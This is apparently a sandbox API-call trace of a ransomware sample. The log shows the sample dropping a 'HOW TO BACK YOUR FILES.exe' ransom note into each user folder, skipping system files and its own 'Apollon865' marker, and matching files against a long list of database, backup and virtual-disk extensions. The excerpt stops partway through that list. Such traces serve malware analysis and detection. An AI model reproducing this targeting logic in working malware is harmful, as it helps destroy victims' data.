	[0040.579] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\outlook files\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0040.584] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0040.584] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a7a9f80, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x304cd1d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x304cd1d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0040.585] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.585] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0040.585] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0040.585] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a7a9f80, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x304cd1d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x304cd1d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0040.585] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.585] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0040.585] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0040.585] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0040.585] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x304cd1d0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x304cd1d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0040.585] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0040.585] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5a868660, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5a868660, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x6228cf40, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x42400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="voeimd@djhreuu.uhd.pst", cAlternateFileName="VOEIMD~1.PST")) returned 1
	[0040.585] lstrcmpiW (lpString1="voeimd@djhreuu.uhd.pst", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0040.585] lstrcmpiW (lpString1="voeimd@djhreuu.uhd.pst", lpString2="Apollon865.txt.exe") returned 1
	[0040.585] lstrcmpiW (lpString1="voeimd@djhreuu.uhd.pst", lpString2=".") returned 1
	[0040.585] lstrcmpiW (lpString1="voeimd@djhreuu.uhd.pst", lpString2="..") returned 1
	[0040.585] lstrcmpiW (lpString1="voeimd@djhreuu.uhd.pst", lpString2="windows") returned -1
	[0040.585] lstrcmpiW (lpString1="voeimd@djhreuu.uhd.pst", lpString2="bootmgr") returned 1
	[0040.585] lstrcmpiW (lpString1="voeimd@djhreuu.uhd.pst", lpString2="temp") returned 1
	[0040.585] lstrcmpiW (lpString1="voeimd@djhreuu.uhd.pst", lpString2="pagefile.sys") returned 1
	[0040.585] lstrcmpiW (lpString1="voeimd@djhreuu.uhd.pst", lpString2="boot") returned 1
	[0040.585] lstrcmpiW (lpString1="voeimd@djhreuu.uhd.pst", lpString2="ids.txt") returned 1
	[0040.585] lstrcmpiW (lpString1="voeimd@djhreuu.uhd.pst", lpString2="ntuser.dat") returned 1
	[0040.585] lstrcmpiW (lpString1="voeimd@djhreuu.uhd.pst", lpString2="perflogs") returned 1
	[0040.585] lstrcmpiW (lpString1="voeimd@djhreuu.uhd.pst", lpString2="MSBuild") returned 1
	[0040.585] lstrlenW (lpString="voeimd@djhreuu.uhd.pst") returned 22
	[0040.586] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\*") returned 55
	[0040.586] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos"
	[0040.586] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599530 | out: hHeap=0x580000) returned 1
	[0040.586] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ae8 | out: hHeap=0x580000) returned 1
	[0040.586] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos") returned 49
	[0040.586] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos"
	[0040.586] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0040.586] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my videos\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0040.586] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154
	[0040.586] GetLastError () returned 0x0
	[0040.586] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5cafb8
	[0040.586] ReadFile (in: hFile=0x154, lpBuffer=0x5cafb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5cafb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0040.587] CloseHandle (hObject=0x154) returned 1
	[0040.587] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5cafb8 | out: hHeap=0x580000) returned 1
	[0040.587] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0040.587] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5a868660, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5a868660, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x6228cf40, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x42400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="voeimd@djhreuu.uhd.pst", cAlternateFileName="VOEIMD~1.PST")) returned 0xffffffff
	[0040.587] GetLastError () returned 0x5
	[0040.587] wsprintfA (in: param_1=0x2d3f538, param_2="[ERROR] %S FindFirstFile error %i\r\n" | out: param_1="[ERROR] C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos\\* FindFirstFile error 5\r\n") returned 83
	[0040.587] lstrlenA (lpString="[ERROR] C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos\\* FindFirstFile error 5\r\n") returned 83
	[0040.587] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154
	[0040.587] SetFilePointer (in: hFile=0x154, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x116f
	[0040.587] WriteFile (in: hFile=0x154, lpBuffer=0x2d3f538*, nNumberOfBytesToWrite=0x53, lpNumberOfBytesWritten=0x2d3e204, lpOverlapped=0x0 | out: lpBuffer=0x2d3f538*, lpNumberOfBytesWritten=0x2d3e204*=0x53, lpOverlapped=0x0) returned 1
	[0040.587] CloseHandle (hObject=0x154) returned 1
	[0040.588] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7c50
	[0040.588] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes"
	[0040.588] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5994c0 | out: hHeap=0x580000) returned 1
	[0040.588] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c48 | out: hHeap=0x580000) returned 1
	[0040.588] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes") returned 49
	[0040.588] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes"
	[0040.588] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0040.589] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my shapes\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0040.597] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0040.597] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x9e9e4460, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x304f3330, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x304f3330, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0040.598] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.598] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0040.598] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0040.598] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x9e9e4460, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x304f3330, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x304f3330, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0040.598] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.598] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0040.598] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0040.598] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0040.598] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebf97a0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0xd8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0040.598] lstrcmpiW (lpString1="desktop.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.598] lstrcmpiW (lpString1="desktop.ini", lpString2="Apollon865.txt.exe") returned 1
	[0040.598] lstrcmpiW (lpString1="desktop.ini", lpString2=".") returned 1
	[0040.598] lstrcmpiW (lpString1="desktop.ini", lpString2="..") returned 1
	[0040.598] lstrcmpiW (lpString1="desktop.ini", lpString2="windows") returned -1
	[0040.598] lstrcmpiW (lpString1="desktop.ini", lpString2="bootmgr") returned 1
	[0040.598] lstrcmpiW (lpString1="desktop.ini", lpString2="temp") returned -1
	[0040.598] lstrcmpiW (lpString1="desktop.ini", lpString2="pagefile.sys") returned -1
	[0040.598] lstrcmpiW (lpString1="desktop.ini", lpString2="boot") returned 1
	[0040.598] lstrcmpiW (lpString1="desktop.ini", lpString2="ids.txt") returned -1
	[0040.598] lstrcmpiW (lpString1="desktop.ini", lpString2="ntuser.dat") returned -1
	[0040.598] lstrcmpiW (lpString1="desktop.ini", lpString2="perflogs") returned -1
	[0040.598] lstrcmpiW (lpString1="desktop.ini", lpString2="MSBuild") returned -1
	[0040.598] lstrlenW (lpString="desktop.ini") returned 11
	[0040.598] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\*") returned 51
	[0040.598] lstrcmpiW (lpString1="esktop.ini", lpString2="Apollon865") returned 1
	[0040.598] lstrlenW (lpString=".dll") returned 4
	[0040.598] lstrcmpiW (lpString1="desktop.ini", lpString2=".dll") returned 1
	[0040.598] lstrlenW (lpString=".lnk") returned 4
	[0040.598] lstrcmpiW (lpString1="desktop.ini", lpString2=".lnk") returned 1
	[0040.598] lstrlenW (lpString=".ini") returned 4
	[0040.598] lstrcmpiW (lpString1="desktop.ini", lpString2=".ini") returned 1
	[0040.598] lstrlenW (lpString=".sys") returned 4
	[0040.599] lstrcmpiW (lpString1="desktop.ini", lpString2=".sys") returned 1
	[0040.599] lstrlenW (lpString="desktop.ini") returned 11
	[0040.599] lstrlenW (lpString="bak") returned 3
	[0040.599] lstrcmpiW (lpString1="ini", lpString2="bak") returned 1
	[0040.599] lstrlenW (lpString="ba_") returned 3
	[0040.599] lstrcmpiW (lpString1="ini", lpString2="ba_") returned 1
	[0040.599] lstrlenW (lpString="dbb") returned 3
	[0040.599] lstrcmpiW (lpString1="ini", lpString2="dbb") returned 1
	[0040.599] lstrlenW (lpString="vmdk") returned 4
	[0040.599] lstrcmpiW (lpString1=".ini", lpString2="vmdk") returned -1
	[0040.599] lstrlenW (lpString="rar") returned 3
	[0040.599] lstrcmpiW (lpString1="ini", lpString2="rar") returned -1
	[0040.599] lstrlenW (lpString="zip") returned 3
	[0040.599] lstrcmpiW (lpString1="ini", lpString2="zip") returned -1
	[0040.599] lstrlenW (lpString="tgz") returned 3
	[0040.599] lstrcmpiW (lpString1="ini", lpString2="tgz") returned -1
	[0040.599] lstrlenW (lpString="vbox") returned 4
	[0040.599] lstrcmpiW (lpString1=".ini", lpString2="vbox") returned -1
	[0040.599] lstrlenW (lpString="vdi") returned 3
	[0040.599] lstrcmpiW (lpString1="ini", lpString2="vdi") returned -1
	[0040.599] lstrlenW (lpString="vhd") returned 3
	[0040.599] lstrcmpiW (lpString1="ini", lpString2="vhd") returned -1
	[0040.599] lstrlenW (lpString="vhdx") returned 4
	[0040.599] lstrcmpiW (lpString1=".ini", lpString2="vhdx") returned -1
	[0040.599] lstrlenW (lpString="avhd") returned 4
	[0040.599] lstrcmpiW (lpString1=".ini", lpString2="avhd") returned -1
	[0040.599] lstrlenW (lpString="db") returned 2
	[0040.599] lstrcmpiW (lpString1="ni", lpString2="db") returned 1
	[0040.599] lstrlenW (lpString="db2") returned 3
	[0040.599] lstrcmpiW (lpString1="ini", lpString2="db2") returned 1
	[0040.599] lstrlenW (lpString="db3") returned 3
	[0040.599] lstrcmpiW (lpString1="ini", lpString2="db3") returned 1
	[0040.599] lstrlenW (lpString="dbf") returned 3
	[0040.599] lstrcmpiW (lpString1="ini", lpString2="dbf") returned 1
	[0040.599] lstrlenW (lpString="mdf") returned 3
	[0040.599] lstrcmpiW (lpString1="ini", lpString2="mdf") returned -1
	[0040.599] lstrlenW (lpString="mdb") returned 3
	[0040.600] lstrcmpiW (lpString1="ini", lpString2="mdb") returned -1
	[0040.600] lstrlenW (lpString="sql") returned 3
	[0040.600] lstrcmpiW (lpString1="ini", lpString2="sql") returned -1
	[0040.600] lstrlenW (lpString="sqlite") returned 6
	[0040.600] lstrcmpiW (lpString1="op.ini", lpString2="sqlite") returned -1
	[0040.600] lstrlenW (lpString="sqlite3") returned 7
	[0040.600] lstrcmpiW (lpString1="top.ini", lpString2="sqlite3") returned 1
	[0040.600] lstrlenW (lpString="sqlitedb") returned 8
	[0040.600] lstrcmpiW (lpString1="ktop.ini", lpString2="sqlitedb") returned -1
	[0040.600] lstrlenW (lpString="xml") returned 3
	[0040.600] lstrcmpiW (lpString1="ini", lpString2="xml") returned -1
	[0040.600] lstrlenW (lpString="$er") returned 3
	[0040.600] lstrcmpiW (lpString1="ini", lpString2="$er") returned 1
	[0040.600] lstrlenW (lpString="4dd") returned 3
	[0040.600] lstrcmpiW (lpString1="ini", lpString2="4dd") returned 1
	[0040.600] lstrlenW (lpString="4dl") returned 3
	[0040.600] lstrcmpiW (lpString1="ini", lpString2="4dl") returned 1
	[0040.600] lstrlenW (lpString="^^^") returned 3
	[0040.600] lstrcmpiW (lpString1="ini", lpString2="^^^") returned 1
	[0040.600] lstrlenW (lpString="abs") returned 3
	[0040.600] lstrcmpiW (lpString1="ini", lpString2="abs") returned 1
	[0040.600] lstrlenW (lpString="abx") returned 3
	[0040.600] lstrcmpiW (lpString1="ini", lpString2="abx") returned 1
	[0040.600] lstrlenW (lpString="accdb") returned 5
	[0040.600] lstrcmpiW (lpString1="p.ini", lpString2="accdb") returned 1
	[0040.600] lstrlenW (lpString="accdc") returned 5
	[0040.600] lstrcmpiW (lpString1="p.ini", lpString2="accdc") returned 1
	[0040.600] lstrlenW (lpString="accde") returned 5
	[0040.600] lstrcmpiW (lpString1="p.ini", lpString2="accde") returned 1
	[0040.600] lstrlenW (lpString="accdr") returned 5
	[0040.600] lstrcmpiW (lpString1="p.ini", lpString2="accdr") returned 1
	[0040.600] lstrlenW (lpString="accdt") returned 5
	[0040.600] lstrcmpiW (lpString1="p.ini", lpString2="accdt") returned 1
	[0040.600] lstrlenW (lpString="accdw") returned 5
	[0040.600] lstrcmpiW (lpString1="p.ini", lpString2="accdw") returned 1
	[0040.600] lstrlenW (lpString="accft") returned 5
	[0040.601] lstrcmpiW (lpString1="p.ini", lpString2="accft") returned 1
	[0040.601] lstrlenW (lpString="adb") returned 3
	[0040.601] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1
	[0040.601] lstrlenW (lpString="adb") returned 3
	[0040.601] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1
	[0040.601] lstrlenW (lpString="ade") returned 3
	[0040.601] lstrcmpiW (lpString1="ini", lpString2="ade") returned 1
	[0040.601] lstrlenW (lpString="adf") returned 3
	[0040.601] lstrcmpiW (lpString1="ini", lpString2="adf") returned 1
	[0040.601] lstrlenW (lpString="adn") returned 3
	[0040.601] lstrcmpiW (lpString1="ini", lpString2="adn") returned 1
	[0040.601] lstrlenW (lpString="adp") returned 3
	[0040.601] lstrcmpiW (lpString1="ini", lpString2="adp") returned 1
	[0040.601] lstrlenW (lpString="alf") returned 3
	[0040.601] lstrcmpiW (lpString1="ini", lpString2="alf") returned 1
	[0040.601] lstrlenW (lpString="ask") returned 3
	[0040.601] lstrcmpiW (lpString1="ini", lpString2="ask") returned 1
	[0040.601] lstrlenW (lpString="btr") returned 3
	[0040.601] lstrcmpiW (lpString1="ini", lpString2="btr") returned 1
	[0040.601] lstrlenW (lpString="cat") returned 3
	[0040.601] lstrcmpiW (lpString1="ini", lpString2="cat") returned 1
	[0040.601] lstrlenW (lpString="cdb") returned 3
	[0040.601] lstrcmpiW (lpString1="ini", lpString2="cdb") returned 1
	[0040.601] lstrlenW (lpString="ckp") returned 3
	[0040.601] lstrcmpiW (lpString1="ini", lpString2="ckp") returned 1
	[0040.601] lstrlenW (lpString="cma") returned 3
	[0040.601] lstrcmpiW (lpString1="ini", lpString2="cma") returned 1
	[0040.601] lstrlenW (lpString="cpd") returned 3
	[0040.601] lstrcmpiW (lpString1="ini", lpString2="cpd") returned 1
	[0040.601] lstrlenW (lpString="dacpac") returned 6
	[0040.601] lstrcmpiW (lpString1="op.ini", lpString2="dacpac") returned 1
	[0040.601] lstrlenW (lpString="dad") returned 3
	[0040.601] lstrcmpiW (lpString1="ini", lpString2="dad") returned 1
	[0040.601] lstrlenW (lpString="dadiagrams") returned 10
	[0040.601] lstrcmpiW (lpString1="esktop.ini", lpString2="dadiagrams") returned 1
	[0040.601] lstrlenW (lpString="daschema") returned 8
	[0040.601] lstrcmpiW (lpString1="ktop.ini", lpString2="daschema") returned 1
	[0040.602] lstrlenW (lpString="db-journal") returned 10
	[0040.602] lstrcmpiW (lpString1="esktop.ini", lpString2="db-journal") returned 1
	[0040.602] lstrlenW (lpString="db-shm") returned 6
	[0040.602] lstrcmpiW (lpString1="op.ini", lpString2="db-shm") returned 1
	[0040.602] lstrlenW (lpString="db-wal") returned 6
	[0040.602] lstrcmpiW (lpString1="op.ini", lpString2="db-wal") returned 1
	[0040.602] lstrlenW (lpString="dbc") returned 3
	[0040.602] lstrcmpiW (lpString1="ini", lpString2="dbc") returned 1
	[0040.602] lstrlenW (lpString="dbs") returned 3
	[0040.602] lstrcmpiW (lpString1="ini", lpString2="dbs") returned 1
	[0040.602] lstrlenW (lpString="dbt") returned 3
	[0040.602] lstrcmpiW (lpString1="ini", lpString2="dbt") returned 1
	[0040.602] lstrlenW (lpString="dbv") returned 3
	[0040.602] lstrcmpiW (lpString1="ini", lpString2="dbv") returned 1
	[0040.602] lstrlenW (lpString="dbx") returned 3
	[0040.602] lstrcmpiW (lpString1="ini", lpString2="dbx") returned 1
	[0040.602] lstrlenW (lpString="dcb") returned 3
	[0040.602] lstrcmpiW (lpString1="ini", lpString2="dcb") returned 1
	[0040.602] lstrlenW (lpString="dct") returned 3
	[0040.602] lstrcmpiW (lpString1="ini", lpString2="dct") returned 1
	[0040.602] lstrlenW (lpString="dcx") returned 3
	[0040.602] lstrcmpiW (lpString1="ini", lpString2="dcx") returned 1
	[0040.602] lstrlenW (lpString="ddl") returned 3
	[0040.602] lstrcmpiW (lpString1="ini", lpString2="ddl") returned 1
	[0040.602] lstrlenW (lpString="dlis") returned 4
	[0040.602] lstrcmpiW (lpString1=".ini", lpString2="dlis") returned -1
	[0040.602] lstrlenW (lpString="dp1") returned 3
	[0040.602] lstrcmpiW (lpString1="ini", lpString2="dp1") returned 1
	[0040.602] lstrlenW (lpString="dqy") returned 3
	[0040.602] lstrcmpiW (lpString1="ini", lpString2="dqy") returned 1
	[0040.602] lstrlenW (lpString="dsk") returned 3
	[0040.602] lstrcmpiW (lpString1="ini", lpString2="dsk") returned 1
	[0040.602] lstrlenW (lpString="dsn") returned 3
	[0040.602] lstrcmpiW (lpString1="ini", lpString2="dsn") returned 1
	[0040.602] lstrlenW (lpString="dtsx") returned 4
	[0040.602] lstrcmpiW (lpString1=".ini", lpString2="dtsx") returned -1
	[0040.602] lstrlenW (lpString="dxl") returned 3
	[0040.603] lstrcmpiW (lpString1="ini", lpString2="dxl") returned 1
	[0040.603] lstrlenW (lpString="eco") returned 3
	[0040.603] lstrcmpiW (lpString1="ini", lpString2="eco") returned 1
	[0040.603] lstrlenW (lpString="ecx") returned 3
	[0040.603] lstrcmpiW (lpString1="ini", lpString2="ecx") returned 1
	[0040.603] lstrlenW (lpString="edb") returned 3
	[0040.603] lstrcmpiW (lpString1="ini", lpString2="edb") returned 1
	[0040.603] lstrlenW (lpString="epim") returned 4
	[0040.603] lstrcmpiW (lpString1=".ini", lpString2="epim") returned -1
	[0040.603] lstrlenW (lpString="fcd") returned 3
	[0040.603] lstrcmpiW (lpString1="ini", lpString2="fcd") returned 1
	[0040.603] lstrlenW (lpString="fdb") returned 3
	[0040.603] lstrcmpiW (lpString1="ini", lpString2="fdb") returned 1
	[0040.603] lstrlenW (lpString="fic") returned 3
	[0040.603] lstrcmpiW (lpString1="ini", lpString2="fic") returned 1
	[0040.603] lstrlenW (lpString="flexolibrary") returned 12
	[0040.603] lstrlenW (lpString="fm5") returned 3
	[0040.603] lstrcmpiW (lpString1="ini", lpString2="fm5") returned 1
	[0040.603] lstrlenW (lpString="fmp") returned 3
	[0040.603] lstrcmpiW (lpString1="ini", lpString2="fmp") returned 1
	[0040.603] lstrlenW (lpString="fmp12") returned 5
	[0040.603] lstrcmpiW (lpString1="p.ini", lpString2="fmp12") returned 1
	[0040.603] lstrlenW (lpString="fmpsl") returned 5
	[0040.603] lstrcmpiW (lpString1="p.ini", lpString2="fmpsl") returned 1
	[0040.603] lstrlenW (lpString="fol") returned 3
	[0040.603] lstrcmpiW (lpString1="ini", lpString2="fol") returned 1
	[0040.603] lstrlenW (lpString="fp3") returned 3
	[0040.603] lstrcmpiW (lpString1="ini", lpString2="fp3") returned 1
	[0040.603] lstrlenW (lpString="fp4") returned 3
	[0040.603] lstrcmpiW (lpString1="ini", lpString2="fp4") returned 1
	[0040.603] lstrlenW (lpString="fp5") returned 3
	[0040.603] lstrcmpiW (lpString1="ini", lpString2="fp5") returned 1
	[0040.603] lstrlenW (lpString="fp7") returned 3
	[0040.603] lstrcmpiW (lpString1="ini", lpString2="fp7") returned 1
	[0040.603] lstrlenW (lpString="fpt") returned 3
	[0040.603] lstrcmpiW (lpString1="ini", lpString2="fpt") returned 1
	[0040.603] lstrlenW (lpString="frm") returned 3
	[0040.604] lstrcmpiW (lpString1="ini", lpString2="frm") returned 1
	[0040.604] lstrlenW (lpString="gdb") returned 3
	[0040.604] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1
	[0040.604] lstrlenW (lpString="gdb") returned 3
	[0040.604] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1
	[0040.604] lstrlenW (lpString="grdb") returned 4
	[0040.604] lstrcmpiW (lpString1=".ini", lpString2="grdb") returned -1
	[0040.604] lstrlenW (lpString="gwi") returned 3
	[0040.604] lstrcmpiW (lpString1="ini", lpString2="gwi") returned 1
	[0040.604] lstrlenW (lpString="hdb") returned 3
	[0040.604] lstrcmpiW (lpString1="ini", lpString2="hdb") returned 1
	[0040.604] lstrlenW (lpString="his") returned 3
	[0040.604] lstrcmpiW (lpString1="ini", lpString2="his") returned 1
	[0040.604] lstrlenW (lpString="ib") returned 2
	[0040.604] lstrcmpiW (lpString1="ni", lpString2="ib") returned 1
	[0040.604] lstrlenW (lpString="idb") returned 3
